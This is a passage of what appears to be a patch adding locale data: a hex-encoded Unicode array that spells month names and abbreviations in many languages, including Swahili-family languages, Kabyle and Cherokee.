0x69, 0x6d, 0x62, 0x69, 0x74, 0x68, 0x6f, 0x3b, 0x4d, 0x61, 0x62, 0x61, 0x73, 0x61, 0x3b, 0x4e, 0x6b, +0x77, 0x65, 0x6e, 0x6b, 0x77, 0x65, 0x7a, 0x69, 0x3b, 0x4e, 0x68, 0x6c, 0x61, 0x6e, 0x67, 0x75, 0x6c, 0x61, 0x3b, 0x4e, +0x74, 0x75, 0x6c, 0x69, 0x6b, 0x61, 0x7a, 0x69, 0x3b, 0x4e, 0x63, 0x77, 0x61, 0x62, 0x61, 0x6b, 0x61, 0x7a, 0x69, 0x3b, +0x4d, 0x70, 0x61, 0x6e, 0x64, 0x75, 0x6c, 0x61, 0x3b, 0x4d, 0x66, 0x75, 0x6d, 0x66, 0x75, 0x3b, 0x4c, 0x77, 0x65, 0x7a, +0x69, 0x3b, 0x4d, 0x70, 0x61, 0x6c, 0x61, 0x6b, 0x61, 0x7a, 0x69, 0x3b, 0x5a, 0x3b, 0x4e, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, +0x4e, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x4c, 0x3b, 0x4d, 0x3b, 0x4d, 0x31, 0x3b, 0x4d, +0x32, 0x3b, 0x4d, 0x33, 0x3b, 0x4d, 0x34, 0x3b, 0x4d, 0x35, 0x3b, 0x4d, 0x36, 0x3b, 0x4d, 0x37, 0x3b, 0x4d, 0x38, 0x3b, +0x4d, 0x39, 0x3b, 0x4d, 0x31, 0x30, 0x3b, 0x4d, 0x31, 0x31, 0x3b, 0x4d, 0x31, 0x32, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, +0x20, 0x77, 0x61, 0x20, 0x6b, 0x77, 0x61, 0x6e, 0x7a, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, +0x6b, 0x61, 0x69, 0x6c, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x74, 0x61, 0x74, +0x75, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x61, 0x6e, 0x61, 0x3b, 0x4d, 0x77, 0x65, +0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x74, 0x61, 0x6e, 0x75, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, +0x73, 0x69, 0x74, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x73, 0x61, 0x62, 0x61, 0x3b, 0x4d, +0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6e, 0x61, 0x6e, 0x65, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, +0x61, 0x20, 0x74, 0x69, 0x73, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x75, 0x6d, +0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, +0x6d, 0x6f, 0x6a, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x20, +0x6e, 0x61, 0x20, 0x6d, 0x62, 0x69, 0x6c, 0x69, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x54, 0x3b, 0x53, +0x3b, 0x53, 0x3b, 0x4e, 0x3b, 0x54, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x69, 0x6e, 0x6e, 0x3b, 0x62, 0x1e5b, 0x61, +0x3b, 0x6d, 0x61, 0x1e5b, 0x3b, 0x69, 0x62, 0x72, 0x3b, 0x6d, 0x61, 0x79, 0x3b, 0x79, 0x75, 0x6e, 0x3b, 0x79, 0x75, 0x6c, +0x3b, 0x263, 0x75, 0x63, 0x3b, 0x63, 0x75, 0x74, 0x3b, 0x6b, 0x74, 0x75, 0x3b, 0x6e, 0x75, 0x77, 0x3b, 0x64, 0x75, 0x6a, +0x3b, 0x69, 0x6e, 0x6e, 0x61, 0x79, 0x72, 0x3b, 0x62, 0x1e5b, 0x61, 0x79, 0x1e5b, 0x3b, 0x6d, 0x61, 0x1e5b, 0x1e63, 0x3b, 0x69, +0x62, 0x72, 0x69, 0x72, 0x3b, 0x6d, 0x61, 0x79, 0x79, 0x75, 0x3b, 0x79, 0x75, 0x6e, 0x79, 0x75, 0x3b, 0x79, 0x75, 0x6c, +0x79, 0x75, 0x7a, 0x3b, 0x263, 0x75, 0x63, 0x74, 0x3b, 0x63, 0x75, 0x74, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x6b, 0x74, +0x75, 0x62, 0x72, 0x3b, 0x6e, 0x75, 0x77, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x64, 0x75, 0x6a, 0x61, 0x6e, 0x62, 0x69, +0x72, 0x3b, 0x69, 0x3b, 0x62, 0x3b, 0x6d, 0x3b, 0x69, 0x3b, 0x6d, 0x3b, 0x79, 0x3b, 0x79, 0x3b, 0x263, 0x3b, 0x63, 0x3b, +0x6b, 0x3b, 0x6e, 0x3b, 0x64, 0x3b, 0x59, 0x65, 0x6e, 0x3b, 0x46, 0x75, 0x72, 0x3b, 0x4d, 0x65, 0x263, 0x3b, 0x59, 0x65, +0x62, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x59, 0x75, 0x6e, 0x3b, 0x59, 0x75, 0x6c, 0x3b, 0x194, 0x75, 0x63, 0x3b, 0x43, 0x74, +0x65, 0x3b, 0x54, 0x75, 0x62, 0x3b, 0x4e, 0x75, 0x6e, 0x3b, 0x44, 0x75, 0x1e7, 0x3b, 0x59, 0x65, 0x6e, 0x6e, 0x61, 0x79, +0x65, 0x72, 0x3b, 0x46, 0x75, 0x1e5b, 0x61, 0x72, 0x3b, 0x4d, 0x65, 0x263, 0x72, 0x65, 0x73, 0x3b, 0x59, 0x65, 0x62, 0x72, +0x69, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6e, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6c, 0x79, 0x75, +0x3b, 0x194, 0x75, 0x63, 0x74, 0x3b, 0x43, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x1e5b, 0x3b, 0x54, 0x75, 0x62, 0x65, 0x1e5b, 0x3b, +0x4e, 0x75, 0x6e, 0x65, 0x6d, 0x62, 0x65, 0x1e5b, 0x3b, 0x44, 0x75, 0x1e7, 0x65, 0x6d, 0x62, 0x65, 0x1e5b, 0x3b, 0x59, 0x3b, +0x46, 0x3b, 0x4d, 0x3b, 0x59, 0x3b, 0x4d, 0x3b, 0x59, 0x3b, 0x59, 0x3b, 0x194, 0x3b, 0x43, 0x3b, 0x54, 0x3b, 0x4e, 0x3b, +0x44, 0x3b, 0x4b, 0x42, 0x5a, 0x3b, 0x4b, 0x42, 0x52, 0x3b, 0x4b, 0x53, 0x54, 0x3b, 0x4b, 0x4b, 0x4e, 0x3b, 0x4b, 0x54, +0x4e, 0x3b, 0x4b, 0x4d, 0x4b, 0x3b, 0x4b, 0x4d, 0x53, 0x3b, 0x4b, 0x4d, 0x4e, 0x3b, 0x4b, 0x4d, 0x4e, 0x3b, 0x4b, 0x4b, +0x4d, 0x3b, 0x4b, 0x4e, 0x4b, 0x3b, 0x4b, 0x4e, 0x42, 0x3b, 0x4f, 0x6b, 0x77, 0x6f, 0x6b, 0x75, 0x62, 0x61, 0x6e, 0x7a, +0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6b, 0x61, 0x62, 0x69, 0x72, 0x69, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6b, 0x61, 0x73, +0x68, 0x61, 0x74, 0x75, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6b, 0x61, +0x74, 0x61, 0x61, 0x6e, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x61, 0x67, 0x61, 0x3b, 0x4f, 0x6b, +0x77, 0x61, 0x6d, 0x75, 0x73, 0x68, 0x61, 0x6e, 0x6a, 0x75, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x75, 0x6e, 0x61, 0x61, +0x6e, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x77, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x69, 0x6b, +0x75, 0x6d, 0x69, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6b, 0x75, 0x6d, +0x77, 0x65, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x69, 0x62, 0x69, 0x72, +0x69, 0x3b, 0x48, 0x75, 0x74, 0x3b, 0x56, 0x69, 0x6c, 0x3b, 0x44, 0x61, 0x74, 0x3b, 0x54, 0x61, 0x69, 0x3b, 0x48, 0x61, +0x6e, 0x3b, 0x53, 0x69, 0x74, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x4e, 0x61, 0x6e, 0x3b, 0x54, 0x69, 0x73, 0x3b, 0x4b, 0x75, +0x6d, 0x3b, 0x4b, 0x6d, 0x6a, 0x3b, 0x4b, 0x6d, 0x62, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, +0x67, 0x77, 0x61, 0x20, 0x68, 0x75, 0x74, 0x61, 0x6c, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, +0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x76, 0x69, 0x6c, 0x69, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, +0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x64, 0x61, 0x74, 0x75, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, +0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x74, 0x61, 0x69, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, +0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x68, 0x61, 0x6e, 0x75, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, +0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x73, 0x69, 0x74, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, +0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x73, 0x61, 0x62, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, +0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x6e, 0x61, 0x6e, 0x65, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, +0x20, 0x67, 0x77, 0x61, 0x20, 0x74, 0x69, 0x73, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, +0x67, 0x77, 0x61, 0x20, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, +0x77, 0x61, 0x20, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6d, 0x6f, 0x6a, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, +0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6d, 0x62, +0x69, 0x6c, 0x69, 0x3b, 0x48, 0x3b, 0x56, 0x3b, 0x44, 0x3b, 0x54, 0x3b, 0x48, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x4e, 0x3b, +0x54, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x46, 0x65, 0x62, 0x72, +0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x41, 0x70, 0x72, 0x69, 0x6c, 0x79, 0x69, 0x3b, 0x4d, +0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x79, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x79, 0x61, 0x69, 0x3b, 0x41, 0x67, 0x75, 0x73, +0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, 0x4e, +0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x7a, 0x61, 0x6e, 0x3b, 0x66, +0x65, 0x62, 0x3b, 0x6e, 0x61, 0x72, 0x3b, 0x61, 0x77, 0x69, 0x3b, 0x6d, 0x25b, 0x3b, 0x7a, 0x75, 0x77, 0x3b, 0x7a, 0x75, +0x6c, 0x3b, 0x75, 0x74, 0x69, 0x3b, 0x73, 0x25b, 0x74, 0x3b, 0x254, 0x6b, 0x75, 0x3b, 0x6e, 0x6f, 0x77, 0x3b, 0x64, 0x65, +0x73, 0x3b, 0x7a, 0x61, 0x6e, 0x77, 0x75, 0x79, 0x65, 0x3b, 0x66, 0x65, 0x62, 0x75, 0x72, 0x75, 0x79, 0x65, 0x3b, 0x6d, +0x61, 0x72, 0x69, 0x73, 0x69, 0x3b, 0x61, 0x77, 0x69, 0x72, 0x69, 0x6c, 0x69, 0x3b, 0x6d, 0x25b, 0x3b, 0x7a, 0x75, 0x77, +0x25b, 0x6e, 0x3b, 0x7a, 0x75, 0x6c, 0x75, 0x79, 0x65, 0x3b, 0x75, 0x74, 0x69, 0x3b, 0x73, 0x25b, 0x74, 0x61, 0x6e, 0x62, +0x75, 0x72, 0x75, 0x3b, 0x254, 0x6b, 0x75, 0x74, 0x254, 0x62, 0x75, 0x72, 0x75, 0x3b, 0x6e, 0x6f, 0x77, 0x61, 0x6e, 0x62, +0x75, 0x72, 0x75, 0x3b, 0x64, 0x65, 0x73, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x75, 0x3b, 0x5a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, +0x41, 0x3b, 0x4d, 0x3b, 0x5a, 0x3b, 0x5a, 0x3b, 0x55, 0x3b, 0x53, 0x3b, 0x186, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4d, 0x62, +0x65, 0x3b, 0x4b, 0x61, 0x69, 0x3b, 0x4b, 0x61, 0x74, 0x3b, 0x4b, 0x61, 0x6e, 0x3b, 0x47, 0x61, 0x74, 0x3b, 0x47, 0x61, +0x6e, 0x3b, 0x4d, 0x75, 0x67, 0x3b, 0x4b, 0x6e, 0x6e, 0x3b, 0x4b, 0x65, 0x6e, 0x3b, 0x49, 0x6b, 0x75, 0x3b, 0x49, 0x6d, +0x77, 0x3b, 0x49, 0x67, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6d, 0x62, 0x65, 0x72, 0x65, +0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x129, 0x72, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, +0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x74, 0x68, 0x61, 0x74, 0x169, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, +0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, +0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, 0x6e, 0x74, 0x61, 0x74, +0x169, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6d, 0x169, 0x67, 0x77, 0x61, 0x6e, 0x6a, 0x61, 0x3b, +0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x6e, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, +0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, +0x69, 0x6b, 0x169, 0x6d, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x169, 0x6d, 0x69, +0x20, 0x6e, 0x61, 0x20, 0x169, 0x6d, 0x77, 0x65, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, +0x169, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x4b, 0x61, 0x129, 0x72, 0x129, 0x3b, 0x4d, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, +0x3b, 0x47, 0x3b, 0x47, 0x3b, 0x4d, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x13a4, 0x13c3, 0x3b, +0x13a7, 0x13a6, 0x3b, 0x13a0, 0x13c5, 0x3b, 0x13a7, 0x13ec, 0x3b, 0x13a0, 0x13c2, 0x3b, 0x13d5, 0x13ad, 0x3b, 0x13ab, 0x13f0, 0x3b, 0x13a6, 0x13b6, +0x3b, 0x13da, 0x13b5, 0x3b, 0x13da, 0x13c2, 0x3b, 0x13c5, 0x13d3, 0x3b, 0x13a4, 0x13cd, 0x3b, 0x13a4, 0x13c3, 0x13b8, 0x13d4, 0x13c5, 0x3b, 0x13a7, +0x13a6, 0x13b5, 0x3b, 0x13a0, 0x13c5, 0x13f1, 0x3b, 0x13a7, 0x13ec, 0x13c2, 0x3b, 0x13a0, 0x13c2, 0x13cd, 0x13ac, 0x13d8, 0x3b, 0x13d5, 0x13ad, 0x13b7, +0x13f1, 0x3b, 0x13ab, 0x13f0, 0x13c9, 0x13c2, 0x3b, 0x13a6, 0x13b6, 0x13c2, 0x3b, 0x13da, 0x13b5, 0x13cd, 0x13d7, 0x3b, 0x13da, 0x13c2, 0x13c5, 0x13d7, +0x3b, 0x13c5, 0x13d3, 0x13d5, 0x13c6, 0x3b, 0x13a4, 0x13cd, 0x13a9, 0x13f1, 0x3b, 0x13a4, 0x3b, 0x13a7, 0x3b, 0x13a0, 0x3b, 0x13a7, 0x3b, 0x13a0, +0x3b, 0x13d5, 0x3b, 0x13ab, 0x3b, 0x13a6, 0x3b, 0x13da, 0x3b, 0x13da, 0x3b, 0x13c5, 0x3b, 0x13a4, 0x3b, 0x7a, 0x61, 0x6e, 0x3b, 0x66, +0x65, 0x76, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x76, 0x72, 0x3b, 0x6d, 0x65, 0x3b, 0x7a, 0x69, 0x6e, 0x3b, 0x7a, 0x69, +0x6c, 0x3b, 0x6f, 0x75, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, 0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x65, +0x73, 0x3b, 0x7a, 0x61, 0x6e, 0x76, 0x69, 0x65, 0x3b, 0x66, 0x65, 0x76, 0x72, 0x69, 0x79, 0x65, 0x3b, 0x6d, 0x61, 0x72, +0x73, 0x3b, 0x61, 0x76, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x65, 0x3b, 0x7a, 0x69, 0x6e, 0x3b, 0x7a, 0x69, 0x6c, 0x79, 0x65, +0x3b, 0x6f, 0x75, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x61, 0x6d, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x3b, 0x6e, 0x6f, +0x76, 0x61, 0x6d, 0x3b, 0x64, 0x65, 0x73, 0x61, 0x6d, 0x3b, 0x7a, 0x3b, 0x66, 0x3b, 0x6d, 0x3b, 0x61, 0x3b, 0x6d, 0x3b, +0x7a, 0x3b, 0x7a, 0x3b, 0x6f, 0x3b, 0x73, 0x3b, 0x6f, 0x3b, 0x6e, 0x3b, 0x64, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, +0x4e, 0x74, 0x61, 0x6e, 0x64, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x50, 0x69, 0x6c, 0x69, +0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x54, 0x61, 0x74, 0x75, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, +0x20, 0x77, 0x61, 0x20, 0x4e, 0x63, 0x68, 0x65, 0x63, 0x68, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, +0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, +0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x55, 0x6d, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, +0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4d, 0x69, 0x76, 0x69, 0x6c, 0x69, 0x3b, 0x4d, 0x77, 0x65, +0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4d, 0x69, 0x74, 0x61, +0x74, 0x75, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, +0x61, 0x20, 0x4e, 0x63, 0x68, 0x65, 0x63, 0x68, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, +0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x64, +0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, +0x6f, 0x20, 0x6e, 0x61, 0x20, 0x55, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, +0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4d, 0x3b, 0x46, 0xfa, +0x6e, 0x67, 0x61, 0x74, 0x268, 0x3b, 0x4e, 0x61, 0x61, 0x6e, 0x268, 0x3b, 0x4b, 0x65, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x49, +0x6b, 0xfa, 0x6d, 0x69, 0x3b, 0x49, 0x6e, 0x79, 0x61, 0x6d, 0x62, 0x61, 0x6c, 0x61, 0x3b, 0x49, 0x64, 0x77, 0x61, 0x61, +0x74, 0x61, 0x3b, 0x4d, 0x289, 0x289, 0x6e, 0x63, 0x68, 0x268, 0x3b, 0x56, 0x268, 0x268, 0x72, 0x268, 0x3b, 0x53, 0x61, 0x61, +0x74, 0x289, 0x3b, 0x49, 0x6e, 0x79, 0x69, 0x3b, 0x53, 0x61, 0x61, 0x6e, 0x6f, 0x3b, 0x53, 0x61, 0x73, 0x61, 0x74, 0x289, +0x3b, 0x4b, 0x289, 0x66, 0xfa, 0x6e, 0x67, 0x61, 0x74, 0x268, 0x3b, 0x4b, 0x289, 0x6e, 0x61, 0x61, 0x6e, 0x268, 0x3b, 0x4b, +0x289, 0x6b, 0x65, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4b, 0x77, 0x69, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x4b, 0x77, 0x69, +0x69, 0x6e, 0x79, 0x61, 0x6d, 0x62, 0xe1, 0x6c, 0x61, 0x3b, 0x4b, 0x77, 0x69, 0x69, 0x64, 0x77, 0x61, 0x61, 0x74, 0x61, +0x3b, 0x4b, 0x289, 0x6d, 0x289, 0x289, 0x6e, 0x63, 0x68, 0x268, 0x3b, 0x4b, 0x289, 0x76, 0x268, 0x268, 0x72, 0x268, 0x3b, 0x4b, +0x289, 0x73, 0x61, 0x61, 0x74, 0x289, 0x3b, 0x4b, 0x77, 0x69, 0x69, 0x6e, 0x79, 0x69, 0x3b, 0x4b, 0x289, 0x73, 0x61, 0x61, +0x6e, 0x6f, 0x3b, 0x4b, 0x289, 0x73, 0x61, 0x73, 0x61, 0x74, 0x289, 0x3b, 0x46, 0x3b, 0x4e, 0x3b, 0x4b, 0x3b, 0x49, 0x3b, +0x49, 0x3b, 0x49, 0x3b, 0x4d, 0x3b, 0x56, 0x3b, 0x53, 0x3b, 0x49, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, +0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, 0x75, 0x3b, 0x4d, 0x61, 0x61, 0x3b, 0x4a, 0x75, 0x75, 0x3b, +0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x75, 0x3b, 0x53, 0x65, 0x62, 0x3b, 0x4f, 0x6b, 0x69, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, +0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x77, 0x61, 0x6c, 0x69, 0x79, 0x6f, 0x3b, 0x46, 0x65, 0x62, 0x77, 0x61, 0x6c, +0x69, 0x79, 0x6f, 0x3b, 0x4d, 0x61, 0x72, 0x69, 0x73, 0x69, 0x3b, 0x41, 0x70, 0x75, 0x6c, 0x69, 0x3b, 0x4d, 0x61, 0x61, +0x79, 0x69, 0x3b, 0x4a, 0x75, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x61, 0x79, 0x69, 0x3b, 0x41, 0x67, 0x75, +0x73, 0x69, 0x74, 0x6f, 0x3b, 0x53, 0x65, 0x62, 0x75, 0x74, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x69, 0x74, +0x6f, 0x62, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x61, +0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x63, 0x3b, 0x45, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x69, +0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x4f, 0x67, 0x61, 0x3b, 0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, +0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x46, 0x65, 0x62, +0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x45, 0x70, 0x72, 0x65, 0x6f, 0x3b, 0x4d, 0x65, +0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x69, 0x3b, 0x4f, 0x67, 0x61, 0x73, 0x74, 0x69, 0x3b, +0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, +0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, 0x73, 0x65, 0x6d, 0x62, 0x61, 